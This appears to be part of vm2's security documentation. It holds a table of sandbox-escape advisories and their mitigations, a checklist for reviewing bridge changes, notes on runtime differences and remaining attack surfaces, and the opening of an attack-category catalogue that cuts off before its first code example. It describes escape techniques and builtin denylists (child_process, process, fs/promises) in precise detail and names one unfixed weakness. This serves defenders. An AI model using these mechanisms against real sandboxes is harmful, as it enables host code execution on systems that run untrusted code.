Array species self-return (Category 18) set/defineProperty traps + neutralizeArraySpeciesBatch + SPECIES_ATTACK_SENTINEL
Host prepareStackTrace fallback Safe default always set; setter resets to safe default instead of undefined
NodeVM require.root symlink bypass isPathAllowed realpaths candidate before prefix check; rootPaths canonicalized at construction; deny-by-default if realpath throws
NodeVM nesting + non-config require trap, NESTING_OVERRIDE-only resolver (Category 25) A shared isPlainConfigObject predicate (lib/resolver-compat.js) accepts only a Resolver or a plain config object (Object.prototype/null prototype, not an array), enforced at two layers: the constructor throws VMError whenever nesting is truthy and requireOpts is not such a config, and makeResolverFromLegacyOptions fail-closed strips the nesting override for any non-plain options so no alternate caller can inject NESTING_OVERRIDE. Covers every value that collapses to the same insecure resolver: falsy require (false/undefined/null/0/''/omitted), truthy non-object require (true/number/string/symbol/function), truthy non-true nesting (1/'yes'/{}/[]/function), and β€” closing the GHSA-8hr7-r645-pc6w bypass β€” arrays and exotic/boxed objects ([]/new Date()//re//new Map()/new String()) that are typeof-object yet carry no config fields. Array.isArray also rejects a Proxy-around-array spoofing its prototype. Citing GHSA-m4wx-m65x-ghrr (supersedes GHSA-8hg8-63c5-gwmx), GHSA-8hr7-r645-pc6w, and the README escape-hatch section
Sandbox-realm null-proto via bridge from() set-trap write-through (GHSA-9vg3-4rfj-wgcm) handleException and sandbox-Promise.then onFulfilled use ensureThis (sandbox-realm passthrough); host-Promise rejection sanitiser composes from() outside handleException so the GHSA-mpf8 invariant still wraps host null-proto values
Internal state probe via computed property access on globalThis (Category 27: GHSA-2cm2-m3w5-gp2f) Bootstrap script declares let VM2_INTERNAL_STATE_… at script-top so the binding lands in the context's [[GlobalLexicalEnvironment]]; transformer-emitted ${INTERNAL_STATE_NAME}.handleException(…) resolves there as before, but globalThis[k], Reflect.get, descriptor APIs, and own-property enumeration cannot reach it (the global object's own-key table no longer contains the entry). Supersedes the identifier-only mitigation of GHSA-wp5r-2gw5-m7q7 by closing the entire computed-key class structurally.
Bridge-internal container via Array.prototype[N] setter (Category 28: GHSA-9qj6-qjgg-37qq Variant A + GHSA-q3fm-4wcw-g57x Variant B) Variant A β€” neutralizeArraySpeciesBatch in lib/bridge.js writes saved entries via thisReflectDefineProperty; appended slot is an own data property and no sandbox-installed setter is invoked while the bridge holds raw saved state. Variant B β€” defaultSandboxPrepareStackTrace in lib/setup-sandbox.js accumulates frames in a string via primitive concatenation rather than an array, removing every reachable Array.prototype slot (index setter, getter, and .join); makeCallSiteGetters installs entries via localReflectDefineProperty for symmetry
Host prototype mutation via apply trap (GHSA-v6mx-mf47-r5wg) Apply trap caches the host prototype-mutating intrinsics (Object.prototype.__proto__ setter, Object.setPrototypeOf, Reflect.setPrototypeOf, Object.{defineProperty,defineProperties}, Reflect.defineProperty, __defineSetter__, __defineGetter__) in dangerousHostProtoMutators and refuses any invocation reaching them β€” direct or via one-layer indirection through Function.prototype.{call,apply,bind} / Reflect.{apply,construct}. Read-side defense-in-depth in thisEnsureThis cache-checks mappingOtherToThis before the proto-walk so any previously-bridged host value returns the existing proxy even when its prototype chain has been tampered with by some other route.
Stacked indirection bypass of host prototype mutator peel (Category 37: GHSA-cfcw-xp6x-25gj) thisFromOtherWithFactory, thisFromOtherForThrow, and thisEnsureThis consult isDangerousHostProtoMutator(other) after the mappingOtherToThis cache check and return emptyFrozenObject for raw, uncached host references. The sandbox can no longer obtain a callable reference to a host prototype mutator regardless of how many .call/.apply/.bind/Reflect.apply indirection layers it stacks β€” the v6mx apply-trap peel remains as a complementary invocation-side check, but the structural class is closed at delivery time. Cache-first ordering preserves connect()-registered sandbox surrogates for __defineGetter__/__defineSetter__ (issue #176).
Shipped CLI ran untrusted scripts unsandboxed (Category 47: GHSA-jxxv-8r27-vm4p) lib/cli.js built NodeVM.file(path, {require:{external:true}}) with no require.root and the default context:'host', so isPathAllowed admitted every path and the target could require(__filename) into the HOST realm β€” the CLI provided no isolation. The CLI now sets root: pa.dirname(script) (requires confined to the script's own directory) and context: 'sandbox' (admitted modules execute inside the sandbox). Defense-in-depth alongside it, in lib/resolver-compat.js: isVm2SelfRequire denies a sandbox require() of vm2's own lib/ directory or package main entry by realpath (removing the require('vm2') β†’ real VM/NodeVM β†’ nested unrestricted sandbox escalation route), and a one-time console.warn fires on external + no root + host context. Not a general fix: isPathAllowed's if (this.rootPaths === undefined) return true; is unchanged, so require.external without require.root still host-requires arbitrary attacker-named paths β€” tracked as GHSA-j3hm-6rg5-mchv, still OPEN.
Async generator yield*-return thenable exception capture (Category 29) Wraps %AsyncGeneratorPrototype%.next/.return/.throw so every iterator-result promise routes its resolved value and any rejection through handleException (Layer 1), and replaces the first argument to .next/.return/.throw with a sandbox-realm wrapper whose .then is safeThen, normalizing the realm before V8's PromiseResolveThenableJob captures the thenable (Layer 2)
Host-side laundering of prototype severance via bind + host higher-order method (GHSA-cfcw-xp6x-25gj follow-up) Mechanism-independent payoff hardening: a raw host-realm object whose prototype chain reaches null without passing through the sandbox Object.prototype is refused at two independent chokepoints β€” thisEnsureThis (the only path that returns a host object raw on proto-walk fall-through) returns emptyFrozenObject, and handleException (isForeignSeveredHostValue, the transformer's sole catch sanitizer) replaces it with a benign sandbox Error. Closes severance laundered entirely host-side (apply.bind(call,call) over a genuine host array's .map) that never re-crosses the bridge, independent of the severance mechanism. The sandbox Object.prototype is unforgeable host-side (it crosses as a proxy), so the discriminator cannot be spoofed. Primordial Object.create(null) values are exempt (GHSA-9vg3 preserved).
Host prototype-chain climb via raw __proto__ getter, reader side (Category 50: GHSA-88hf-g992-jg85) Reader-side analog of the mutator defenses. A new dangerousHostProtoReaders set (host Object.prototype.__proto__ getter, Object.getPrototypeOf, Reflect.getPrototypeOf) is consulted after the mappingOtherToThis cache check in thisFromOtherWithFactory / thisEnsureThis / thisFromOtherForThrow; a raw host reader collapses to emptyFrozenObject (non-callable), so the sandbox can never invoke it to pierce the bridge's flattened prototype view and reach a writable non-intrinsic host prototype (EventEmitter.prototype). The apply trap refuses reader invocation (direct + Function.prototype.{call,apply,bind} peel + Reflect.{apply,construct}) as defense-in-depth. Cache-first ordering preserves connect() surrogates; legitimate sandbox Object.getPrototypeOf(hostProxy) via the getPrototypeOf trap still returns the flattened wrapped proto. An independent write-side layer marks host [[Prototype]] objects at delivery (looksLikeHostPrototype β†’ hostObjectsUsedAsPrototype) and diverts sandbox function/accessor writes off them in BaseHandler.set/defineProperty, so no callable can be planted on a shared host prototype even if a future read path reaches one; data writes and writes to leaf host objects are unaffected (embedder contract preserved).
Bridge set trap ignores spec Receiver (Category 32: GHSA-c4cf-2hgv-2qv6) BaseHandler.set gates host-write forwarding on receiver === mappingOtherToThis.get(object); non-canonical receivers (inherited-receiver writes via Object.create(proxy), forged-receiver Reflect.set calls, Object.assign(child, src) loops) install on receiver via Reflect.defineProperty, mirroring ReadOnlyHandler.set
Host intrinsic prototype pollution via bridge write traps, incl. the binary-data and iterator families (Category 20: GHSA-vwrp-x96c-mhwq, GHSA-3vgf-8m4q-q4qr / GHSA-59g5-pmg6-5gr4) The protected inventory omitted the binary-data and iterator intrinsic families, so the Cat-20 proto-walk from a host Buffer reached unprotected host Uint8Array.prototype / %TypedArray%.prototype / ArrayBuffer.prototype / ArrayIterator.prototype / %IteratorPrototype% and Reflect.defineProperty polluted them globally. globalsList now includes ArrayBuffer/SharedArrayBuffer/DataView and every TypedArray; the abstract %TypedArray%.prototype, %IteratorPrototype%, and the concrete iterator prototypes are resolved structurally into thisGlobalPrototypes. All flow into protectedHostObjects (write traps throw OPNA), protoMappings, and the GHSA-47x8 identity map.
NodeVM builtin denylist bypass via process / inspector/promises (GHSA-rp36-8xq3-r6c4) DANGEROUS_BUILTINS extended to include process; matching promoted to family-prefix via isDangerousBuiltin(key) so subpath builtins (inspector/promises, future inspector/*, process/*, module/*) share fate with their canonical name. node: URL prefix stripped before lookup. Enforced at both BUILTIN_MODULES source and addDefaultBuiltin. Supersedes the GHSA-947f-4v7f-x2v8 exact-match mitigation.
NodeVM wildcard exposes underscored network builtins (Category 34: GHSA-r9pm-gxmw-wv6p) BUILTIN_MODULES filter in lib/builtin.js now excludes any name starting with _; '*' no longer expands to _http_client/_http_server/_tls_wrap/_stream_* etc. The legacy builtin: ['_http_client'] / builtin: {_http_client: true} forms match nothing either, because both branches of makeBuiltinsFromLegacyOptions admit only names present in the filtered BUILTIN_MODULES; the surviving explicit-opt-in routes are the lower-level makeBuiltins(['_http_client']), which iterates the caller's own array into addDefaultBuiltin, and mock/override.
NodeVM node:-prefixed negative deny token no-op (GHSA-8686-vhfx-7r3j) The builtin: ['*'] wildcard expansion in makeBuiltinsFromLegacyOptions matched negative deny tokens by exact string, so -node:child_process never equalled -child_process and silently denied nothing β€” leaving host child_process (RCE) exposed. The deny check now matches both spellings (-${name} and -node:${name}), mirroring how the resolver already normalizes the node: prefix on the require side. Benign builtins remain available; the canonical -child_process token is unchanged.
NodeVM builtin denylist bypass via subpath siblings (GHSA-6rh5-qq4q-97xh) fs and fs/promises are separate builtinModules entries, so the exact -${name} deny match under builtin: ['*'] removed only fs and left the full host fs/promises API (with writeFile) exposed. makeBuiltinsFromLegacyOptions now denies a name via isBuiltinDenied(builtins, name), which also treats <family>/<sub> as denied when -<family> is present β€” -fs blocks fs/promises, -path blocks path/posix/path/win32, -stream blocks stream/*. isBuiltinDenied is the shared chokepoint with the GHSA-8686-vhfx-7r3j node: normalization above: the prefix is stripped from both the module name and the token before matching, and the family split runs on the normalized name, so -node:fs denies fs, node:fs, fs/promises and node:fs/promises alike. Families that are not denied keep their subpaths (no over-denial), and the explicit non-wildcard allowlist branch is unchanged.
NodeVM process-wide observability builtins (Category 35: GHSA-9g8x-92q2-p28f, GHSA-m5w8-4gq2-6f8x) DANGEROUS_BUILTINS denylist extended with diagnostics_channel, async_hooks, perf_hooks, v8 and (GHSA-m5w8-4gq2-6f8x) os, dns; filtered out of BUILTIN_MODULES (closes '*' wildcard) and rejected in addDefaultBuiltin via isDangerousBuiltin (closes explicit allowlist and makeBuiltins([...])). node: prefix normalized and family-prefix subpath matching applied (covers node:os, node:dns, dns/promises). os.setPriority / dns.setServers / dns.setDefaultResultOrder host-process writes closed alongside the read leaks. mocks/overrides escape hatch preserved for sandbox-local replacements
NodeVM child_process grantable through the default loader (Category 21: GHSA-pq68-rvw4-xp4r) child_process joins DANGEROUS_BUILTINS in lib/builtin.js, so it is filtered from the '*' expansion, refused on explicit request in addDefaultBuiltin, and covered by the family / node: normalization in isDangerousBuiltin (node:child_process, node:node:child_process). Same "spawns a host process" basis as cluster / worker_threads / test. Trusted-script embedders re-expose it deliberately through require.mock, which is applied ahead of the dangerous check.
Host-Promise rejection sanitizer bypass via call/apply indirection (Category 39: GHSA-647f-g98j-qq25) The direct-target-only apply-trap gate is replaced by normalizeHostPromiseCallbacks in lib/bridge.js, which peels Function.prototype.call/.apply indirection (including stacked and mixed nestings) to the effective host then/catch and wraps the callbacks through makeSanitizedPromiseCallback, so the GHSA-m283 rejection rebuild runs regardless of invocation shape. .apply nested argument arrays are snapshotted into fresh getter-free storage (TOCTOU-safe) before write-back; the peel is bounded (MAX_PROMISE_PEEL = 64) and throws VMError on exceed rather than forwarding an unwrapped callback (fail-closed). bind and Reflect.apply re-enter the trap with the direct target and were already covered.
Host-authority builtin members survive the read-only wrap (Category 40: GHSA-46pr-c5wc-xffx, GHSA-6w8r-xxw2-g3hx, GHSA-98xx-8mx4-x7cm, GHSA-h85j-hv3c-qfgq, GHSA-x3v6-43hc-82mc) vm.readonly() blocks property assignment but forwards every call with host authority, so lib/builtin.js applies sanitizeBuiltinMembers(key, mod) (table: BUILTIN_MEMBER_SANITIZERS, node: prefix stripped so both spellings share fate) before the wrap, returning a shallow copy with only the escaping member neutralized: crypto.setEngine and tls.setDefaultCACertificates become throwing stubs (native library loading via the OS dynamic loader; process-wide CA trust-store replacement); node:sqlite's DatabaseSync is subclassed to force allowExtension off for object- and function-typed options args, so Node throws ERR_INVALID_STATE from loadExtension()/enableLoadExtension(); http/https globalAgent is replaced with a sandbox-dedicated Agent, with request()/get() defaulting to it so req.agent cannot re-expose the host singleton. Member-level neutralization complements the whole-module DANGEROUS_BUILTINS denylist β€” the useful parts of each builtin stay available. lib/setup-node-sandbox.js also rejects repeated node: prefixes (the node:node:sqlite alias) and falls back to the full node:-prefixed builtin-map key so canonical require('node:sqlite') resolves. crypto.setFips is neutralized the same way as setEngine (GHSA-x3v6-43hc-82mc): the two are the only set* members crypto exposes, so the process-wide-mutator class within crypto is closed.
Unbounded host Buffer allocation from the sandbox (Category 23: GHSA-6785-pvv7-mvg7, GHSA-gmc2-2x9w-cgh9, GHSA-v836-6xw4-9cx3) The opt-in bufferAllocLimit option (default Infinity, so existing embedders are unaffected) is plumbed into setup-sandbox.js and captured in a closure-scoped const. checkBufferAllocLimit gates every sandbox-facing host allocator β€” Buffer.alloc / allocUnsafe / allocUnsafeSlow, the numeric Buffer(N) / new Buffer(N) forms in BufferHandler, Buffer.concat (totalLength or the summed list), Buffer.from (object .length, and the explicit length of the ArrayBuffer overload), and Buffer.copyBytesFrom β€” throwing RangeError synchronously with no host allocation. The BUFFER_STATIC_CLASSIFIED allowlist is the structural piece: any unclassified function-valued Buffer static is connect()'d to a throwing stub, so a future Node allocator fails loudly instead of silently uncapped.
bufferAllocLimit bypass via raw allocation intrinsics (Category 36: GHSA-6785-pvv7-mvg7, GHSA-v836-6xw4-9cx3) installAllocationCaps in lib/setup-sandbox.js wraps each sandbox-realm allocation constructor β€” ArrayBuffer, SharedArrayBuffer, all twelve TypedArray constructors, and WebAssembly.Memory (initial plus cumulative grow()) β€” in a construct-trapping Proxy that runs checkBufferAllocLimit before the native allocation. coerceAllocMagnitude measures the ToIndex-coerced magnitude, so string / valueOf / Symbol.toPrimitive / {length: N} / {maxByteLength} forms are measured rather than waved through, and every object-valued size is read exactly once and handed to the native as a primitive, so a toggling accessor cannot read small at check time and large at allocation time. Each prototype.constructor back-reference is pinned to the wrapping proxy, so no constructor walk or species path recovers the uncapped intrinsic. Inert at the default Infinity.
Shared Buffer pool discloses/corrupts host memory, sandbox-allocated buffers (Category 41: GHSA-fcqc-726x-5wfc) depoolBuffer in lib/setup-sandbox.js enforces backing-store ownership (byteOffset === 0 && buffer.byteLength === length): every pooling factory (Buffer.from non-ArrayBuffer overloads, concat, of, copyBytesFrom, deprecated Buffer(...)/new Buffer(...)) copies a pool-backed result into a standalone non-pooled LocalBuffer.alloc(n) before it reaches the sandbox, so .buffer can never expose Node's shared 64 KiB pool (neighbouring host buffers). The Buffer.from(arrayBuffer, off, len) sharing overload is preserved, detected via a spoof-proof ArrayBuffer.prototype.byteLength-getter brand test
Shared Buffer pool discloses/corrupts host memory, host-allocated buffers (Category 41: GHSA-489w-w794-jq94) otherBoundedViewStore in lib/bridge.js extends backing-store ownership to the host→sandbox direction, keyed on IDENTITY rather than on a property name: when a value read off a host ArrayBufferView IS that view's backing store and the view does not own the whole store (`byteOffset !== 0
timeout bypass via FinalizationRegistry cleanup callback (Category 42: GHSA-r4fx-v8hh-22mv) timeout is implemented with V8's TerminateExecution and bounds only the synchronous body of run(); a FinalizationRegistry cleanup callback is fired by the GC after run() returns, so sandbox code inside it ran with no timeout accounting and could block the host event loop indefinitely β€” and allowAsync: false, which closes the equivalent Promise-continuation path, does not close this one. lib/setup-sandbox.js deletes FinalizationRegistry and WeakRef from the sandbox global (guarded by typeof so pre-Node-14 is unaffected), the same withholding used for timers/queueMicrotask; neither constructor has literal syntax, so the binding cannot be reconstructed from inside. NodeVM inherits it. Scope: this restores the documented timeout control in the default configuration β€” it is not a general DoS guarantee, and an embedder re-exposing either global via the sandbox option re-opens the vector by choice.
allowAsync: false thenable assimilation (GHSA-f8gf-w286-fmq2) Resolve capability refuses object/function values (TOCTOU-safe, no .then read); static methods throw; Array.fromAsync stubbed; construct-guard Proxy on localPromise's prototype makes the native base un-constructable from the sandbox β€” all gated to allowAsync: false
Host filesystem path leak via host-realm error stack (Category 48: GHSA-x6m4-chr9-cg97) GHSA-v27g's defaultSandboxPrepareStackTrace / CallSite redaction only covers stacks formatted in the sandbox realm; a host-realm Error arrives with .stack already formatted by V8 host-side (absolute paths, node: / internal/ frames, vm2's own lib/*.js, the embedding application's source) and crossed verbatim. Redacted at three chokepoints, each preserving the message header and clean sandbox frames: BaseHandler.get / getOwnPropertyDescriptor in lib/bridge.js (redactHostStack, gated by isOtherErrorObject β€” the [[ErrorData]] brand OR'd with a proto-walk to host Error.prototype, so neither GHSA-cfcw prototype severance nor a Symbol.toStringTag override smuggles a stack past it; the descriptor trap collapses the Node 22+ own-accessor shape of Error#stack into a redacted data descriptor so desc.get.call(hostErr) / __lookupGetter__ cannot pull the raw string through the apply trap); sanitizeHostOwnProps in lib/setup-sandbox.js (x6m4RedactHostFramesFromStack), which covers the GHSA-m283 rebuild path where .stack is copied as a primitive via v = e[k] and never crosses a bridge trap; and transformAndCheck in lib/vm.js, which truncates the whole frame section of sandbox-destined compile errors (the config-free eval("@@@ catch") path) host-side, pre-bridge. The frame classifier extends GHSA-v27g's isHostFrameFileName with file:// / wasm:// schemes and ..-traversal paths. Non-Error host objects the embedder deliberately exposes (including a plain object with a stack-named string) are untouched.
Revisited host error carrier leaks a live proxy through the sanitizer cycle memo (Category 49: GHSA-x965-fc75-jpqh) handleException's cycle memo stored visited.set(e, true) and returned the raw carrier e on revisit β€” safe for seal-in-place carriers, but the AggregateError/SuppressedError handlers rebuild rather than seal, so a carrier revisited within one traversal (self-cycle agg.errors=[agg], duplicate [shared,shared], mutual a↔b) had its live host proxy re-embedded into the rebuilt errors[] β†’ host RCE. The memo now maps each carrier to exactly what a revisit must return: itself when sealed in place, or its sandbox-realm replacement when rebuilt. Host-wrapped AggregateError/SuppressedError use a two-phase build β€” construct the empty replacement, register it in visited before recursing (so every cycle terminates on the replacement), then install the sanitized children via localReflectDefineProperty; attacker own-props are dropped by construction. The sanitizeHostOwnProps rebuild is memoized too (closes the duplicated-plain-error-with-prototype-leak residual), and a _blockHostWrapped backstop replaces any element still _isHostWrapped after recursion with a neutral sandbox Error. Extends the Category 38 (GHSA-m283-3h24-438v) fix.
Ignored host-promise rejection aborts host process (GHSA-gjq8-xm47-88rc, GHSA-2v2p-6j97-cjg9) markHostPromiseHandled attaches a benign .then(noop, noop) to the underlying host promise via the cached host Promise.prototype.then, so an unhandled host rejection cannot trip Node's unhandledRejection abort. The mark is applied at the host→sandbox DELIVERY chokepoint: thisProxyOther's !isHost block, the single place a host object is given its sandbox proxy, gated on the isOtherPromise brand check (a depth-capped prototype walk to the cached host Promise.prototype, plus a chain-terminus test that catches promises from a second host realm — no .then invocation on non-promises, and no Symbol.toStringTag read that would fire host get traps). That covers construct returns (new HostCtor() / Reflect.construct), accessor values read through the get trap, and rejected promises passed as arguments to sandbox callbacks — every route the original per-trap fix left open. The apply and construct traps additionally keep an unconditional markHostPromiseHandled(ret), which catches a host promise whose prototype chain the host detached. Multicast keeps the sandbox's own GHSA-55hx-sanitized .then/.catch observing the rejection; the no-op onRejected returns undefined so no new unhandled rejection is created; non-promise / fulfilled returns are inert (try/catch + [[PromiseState]] slot check). Sibling of GHSA-hw58 (Category 22), covering the host→sandbox direction.
Host util members auto-forwarded to the sandbox (Category 52: GHSA-r273-hxvj-fxhp) defaultBuiltinLoaderUtil in lib/builtin.js exposed util as Object.assign({}, util) β€” a wholesale copy that admits every future host util member unreviewed. On Node >= 22.9 that leaked util.getCallSites() (host call stack: absolute paths incl. vm2 lib/, embedder entrypoint, node:internal frames β€” bypassing GHSA-v27g, which only redacts sandbox-realm Error stacks), plus getCallSite / setTraceSigInt / private internals; sys (a util alias) leaked the same via the generic loader. The copy is now built from a vetted, forward-safe allowlist (SAFE_UTIL_MEMBERS via sanitizeUtilModule, presence-gated for Node 8β†’26), registered in BUILTIN_MEMBER_SANITIZERS for both util and sys so no unreviewed host member auto-enters. Restores Defense Invariant #5 for the programmatic stack-introspection channel.
Host global leak via a sloppy host function's nullish this (Category 54: GHSA-j89j-5m6r-cr2q) A sloppy-mode host function called from the sandbox with a nullish receiver gets V8's OrdinaryCallBindThis substitution of the host global for its this, and an unguarded bridge wrapped and delivered that global. The host realm's global is cached at bridge init (thisRealmGlobal = global, read by the other side as otherGlobal); thisFromOtherWithFactory / thisEnsureThis / thisFromOtherForThrow return undefined for other === otherGlobal (guarded by !isHost) before the mappingOtherToThis cache lookup, so no delivery path (apply-trap return, set-into-sandbox-object, callback argument, explicit return globalThis, throw) can surface it. undefined rather than emptyFrozenObject preserves strict-mode this === undefined; delivery-block is chosen over receiver-substitution because strict-vs-sloppy is not synchronously detectable. global (Node 8+), not globalThis (Node 12+).

Security Checklist for Bridge Changes

When modifying bridge.js, setup-sandbox.js, or transformer.js, answer these questions:

  1. Does this change expose any new return path for host objects? Every return value from proxy traps and bridge functions must be sanitized.
  2. Can sandbox code call this method directly (not through a proxy)? Methods accessible on handler objects or prototypes can be called with attacker-controlled arguments.
  3. Does this method accept parameters that could be attacker-controlled? Parameters like target, receiver, or callback arguments may be forged.
  4. Are all Reflect. calls using cached references?* Sandbox-side Reflect overrides must not affect bridge internals.
  5. Could this path be triggered by V8 internal algorithms (bypassing proxy traps)? V8 C++ code like ArraySpeciesCreate, FormatStackTrace, and PromiseResolveThenableJob operate on raw objects.
  6. Does this handle all error types that could be thrown (including host-realm errors)? Any try/catch in bridge code might catch host errors that need sanitization.
  7. Are there any new well-known symbols that need filtering? New symbols could provide cross-realm communication channels.

Runtime-Dependent Attack Surface: Sandbox `Proxy` Availability

Everything else in this document describes V8 as shipped by a current Node.js.
This section records where the sandbox's own shape differs by runtime, because a
reader reasoning about the proxy-handler surface needs to know the answer is not
the same everywhere.

What differs

lib/setup-sandbox.js installs Proxy as undefined in the
Object.defineProperties(global, ...) bootstrap block, then attempts to install
a wrapped proxiedProxy over it. Whether that second write lands depends on how
the engine treats a sealed slot on a vm context's global proxy:

Runtime Sandbox typeof Proxy Effect
Node >= 10 undefined Slot genuinely sealed, so the install is a silent no-op. Sandbox code cannot construct proxies at all.
Node 8 function Slot stays writable, so the install lands and the sandbox gets proxiedProxy, whose handler arguments are sanitised by wrapProxyHandler / makeSafeArgs.
Bun (JSC) undefined Slot sealed and the write throws; it is wrapped in try/catch so setup survives. Same end state as modern Node.

Why it matters for the threat model

The proxy-handler attack classes in this document -- notably
Category 9 and the
trap-reentrancy patterns -- assume sandbox code can construct a Proxy and
supply a hostile handler. On Node >= 10 and on Bun that primitive is absent from
the sandbox: there is no Proxy to construct. On Node 8 it exists and is
defended by wrapping rather than by removal.

The modern configuration is therefore the more restrictive one. A defence
described elsewhere as "the handler arguments are sanitised" is, on Node >= 10,
backed by the stronger fact that the constructor is unreachable. Nothing here
weakens a defence on any runtime; it records that one runtime relies on the
wrapper while the others do not need it.

Maintenance note

Do not "clean up" either half of this mechanism without testing the full
supported Node range. Both halves have engine-dependent behaviour a current Node
cannot reveal:

  • Spelling out writable: false, configurable: false on the sealed slots is a
    no-op on modern V8 and a behaviour change on Node 8, where only the explicit
    form actually seals the slot. Doing so removed Proxy from Node 8 sandboxes
    once already.
  • Reflect.defineProperty cannot substitute for the plain assignment: on Node 8
    it returns true and stores nothing.

test/vm.js carries an AST-based guard that fails if any write to the sealed
Error / Promise / Proxy slots is left outside a try block, since an
unguarded write aborts sandbox setup on JavaScriptCore.


Considered Attack Surfaces

These attack surfaces were analyzed and found to be safe or low-risk. They are documented here so future reviewers do not re-investigate them.

  • WeakRef / FinalizationRegistry: For the object-leak surface these are safe β€” held values are specified at registration time, and thisFromOther always re-wraps values crossing the boundary, so a weak reference cannot leak a raw host object. However, FinalizationRegistry opened a separate timeout-bypass / DoS surface (its cleanup callback runs after run() returns, outside the timeout) β€” see Category 42. Both are now removed from the default sandbox globals (GHSA-r4fx-v8hh-22mv).

  • structuredClone: Not available in default vm context globals. Even if available, structuredClone strips prototype chains and creates plain objects, which cannot carry host constructors.

  • SharedArrayBuffer / Atomics: Likely unavailable in default VM contexts due to COOP/COEP requirements. Even if available, SharedArrayBuffer only shares raw bytes -- no object references can cross through it. Its allocation-size surface is a separate matter and is capped alongside ArrayBuffer, TypedArray and WebAssembly.Memory by Category 36.

  • Error.cause on sandbox-created errors: Set by sandbox code on sandbox-realm errors, so ensureThis handles it through normal property access on proxied errors. Error.cause on a host error carrying a live host reference is a different surface and is closed by Category 38 and Category 39.

  • Private fields (#field): Use the [[PrivateName]] internal slot, which is not accessible through Proxies. Cannot be used to leak host references across the bridge.

  • Iterator helpers (.map, .filter, .take, etc. on iterators): Operate on sandbox iterators and do not use ArraySpeciesCreate. Results are plain iterator objects without species resolution.

  • TypedArray species: TypedArray values are coerced to numbers during storage. Functions become NaN. Species self-return on TypedArrays cannot store object references β€” the Array form of the same primitive is Category 18.

  • Symbol.isConcatSpreadable: Species is handled by neutralizeArraySpeciesBatch (which sets constructor = undefined on every host array crossing a call, see Category 18), and spreading through the bridge is safe because proxy traps sanitize element access.

  • Proxy.revocable: Revocation creates errors in the realm where the proxy was created. Since sandbox-created proxies create sandbox-realm errors, this does not introduce cross-realm error leakage.

  • nodejs.util.inspect.custom installed on host-side proxy targets (issue #566, 3.11.5; the handler-exposure surface util.inspect opened before is Category 9): To restore correct util.inspect output on Node 26+ (which reads the symbol directly off the raw [[ProxyTarget]] slot, bypassing the get trap), lib/bridge.js installs a host-realm function under Symbol.for('nodejs.util.inspect.custom') on every host-side proxy target. The function walks this via cached Reflect.{ownKeys,getOwnPropertyDescriptor}, so every read flows through bridge traps. Reasoned safe because: (1) the property is reachable from sandbox code only via the proxy, and the existing isDangerousCrossRealmSymbol filter in get / ownKeys / getOwnPropertyDescriptor traps returns undefined for the host's marker symbol β€” confirmed across 10 extraction vectors including getOwnPropertyDescriptors, __lookupGetter__, Object.assign, spread, prototype-chain walks; (2) sandbox Symbol.for('nodejs.util.inspect.custom') has a distinct identity from the host's, so sandbox cannot forge a key that the bridge would treat as the marker (existing GHSA-47x8-96vw-5wg6 defense); (3) the property is installed as configurable: true so the trap returning undefined does not violate proxy invariants; (4) the install uses module-cached thisReflectDefineProperty, immune to runtime poisoning of Reflect.defineProperty; (5) the function's catch fallback returns a static literal β€” no host reference is reachable; (6) a WeakMap (thisInspectInFlight) bounds recursion on self-referential graphs and clears via finally, so independent inspect calls cannot leak [Circular] state across each other.

  • Embedded bootstrap sources and the /vm2/lib/ virtual filename (3.12.x): bridge.js, setup-sandbox.js, setup-node-sandbox.js and events.js reach the sandbox realm as string literals from the generated lib/sources.js (built by scripts/build-sources.js) instead of fs.readFileSync(\${__dirname}/...`), so bundlers can ship vm2. Two consequences were checked. (1) The embedded text is byte-identical to the file on disk β€” test/sources.jsasserts this and CI fails on a stale commit β€” so no transpiler or minifier ever rewrites the boundary code (theFunction.prototype.toStringalternative was rejected for exactly that reason). (2) The scripts now compile under/vm2/lib/rather than the host install path. The GHSA-v27gisHostFrameFileNameand GHSA-x6m4x6m4IsHostFrameFileclassifiers key on a leading/, so bootstrap frames remain **host** frames and stay redacted from sandbox-visible stacks (test/sources.jsproves a slash-less name would exposebridge.js` frames). A side benefit is that the embedder's absolute install path no longer appears in any sandbox-compiled frame at all.


Future Risks

These are upcoming or proposed features that could introduce new attack surfaces. They should be evaluated as they become available in Node.js.

  • ShadowRealm (TC39 Stage 3): Creates a new realm from within JavaScript. If available in the sandbox, it could provide a fresh set of intrinsics that bypass bridge protections.

  • Decorators / Symbol.metadata (TC39 Stage 3): Introduces new cross-realm symbols (Symbol.metadata) and decorator evaluation contexts that could provide new prototype chain traversal paths. A new well-known symbol reaching the sandbox is the Category 8 mechanism, so isDangerousCrossRealmSymbol must learn each one.

  • Error.isError() (TC39 Stage 3): Type discrimination that could bypass proxy-based error wrapping. If Error.isError() operates on internal slots rather than prototype checks, it could distinguish host errors from sandbox errors.

  • Temporal API: Introduces new built-in objects with deep prototype chains. Any new global constructor is a potential source of host-realm references.

  • Transformer ecmaVersion upgrades: Any new JavaScript syntax with implicit catch semantics (like using in ES2024) must be evaluated for transformer coverage. The transformer's ecmaVersion: 2022 limitation means all post-2022 syntax with error-handling behavior is a blind spot β€” see Category 12 for the blind spot itself and Category 22 for the await using form the pin currently holds shut.

  • Any primitive that returns a sandbox-realm object with a host-realm prototype: WebAssembly JSPI and the streaming compile APIs were the first (see Category 33). Every new Node API that hands the sandbox a Promise or iterator must be checked for this shape at bootstrap.


Attacks Bridge Internals (`docs/attacks/bridge-internals.md`)

Bridge Internals

Attacks on the bridge's own machinery rather than on the objects it wraps: proxy trap handlers, handler exposure through util.inspect, monkey-patched call/apply/defineProperty, bridge-internal containers reachable through sandbox prototypes, the internal state object, and the read-only view.

Defense invariants enforced by fixes in this family: 8, 11 (see Defense Invariants).

Categories in this file: 6, 9, 11, 14, 27, 28, 44.


Attack Category 6: Proxy Trap Exploitation

Advisories: none

Tests: test/vm.js ("Proxy::getOwnPropertyDescriptor attack"), test/vm.js ("proxy trap via Object.prototype attack"), test/vm.js ("proxy trap errors"), test/vm.js ("sandbox global Proxy is removed and sealed")

Description

The Proxy constructor allows intercepting fundamental operations on objects. Attackers create Proxies with trap handlers that execute when the bridge processes values, allowing them to inject code at points where the bridge may pass unsanitized references. See also Category 2: Prototype Chain Manipulation for combining proxy traps with prototype pollution.

Attack Flow

  1. Create a Proxy with a trap handler (e.g., getOwnPropertyDescriptor, getPrototypeOf, construct).
  2. Pass the Proxy to a host function (e.g., Buffer.from()) that the bridge will inspect.
  3. When the bridge inspects the Proxy's properties, the trap executes.
  4. The trap either throws a function (which receives host references as arguments in the catch block) or modifies Object.prototype to inject further traps.

Canonical Examples

javascript
// Throw function from getOwnPropertyDescriptor trap
